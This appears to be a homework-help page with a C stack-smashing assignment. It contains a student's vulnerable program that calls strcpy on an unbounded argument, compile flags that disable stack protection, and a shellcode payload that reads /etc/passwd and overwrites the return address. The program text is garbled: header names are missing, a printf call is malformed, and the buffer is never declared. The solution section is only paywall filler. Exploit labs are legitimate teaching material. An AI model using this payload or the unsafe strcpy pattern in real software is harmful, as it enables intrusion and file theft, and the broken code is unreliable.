Question: write a program in C that loads injected code. Your program must prevent any buffer overlow. Rules: 1. The data file will be called hw11.data

write a program in C that loads injected code. Your program must prevent any buffer overlow. Rules: 1. The data file will be called hw11.data 2. Your buffer must be a static array of length 256 3. Your code MUST display the buffer address, the input data, and the final buffer contents. 4. You must change the address in the data file to match the address of the buffer. 5. Your output must be formatted as shown below (your contents may be slightly different due to text mode character limitations and address changes): Buffer Address: 0x7fffffffe000 File Contents:  Buffer Contents: 

__________

Code so Far

#include #include #include

int main(int argc, char ** argv) { printf "Argc: %d ", argc); printf("Buffer: %p ", buffer); strcpy(buffer, argv[1]); printf("Buffer: %s ", buffer); return 0; }

// $ gcc -m64 stackSmash.c -o stackSmash.c -z execstack -fno-stack-protector hw11.data

__________

hw11.data

python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xe0\x00"[::-1]'

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!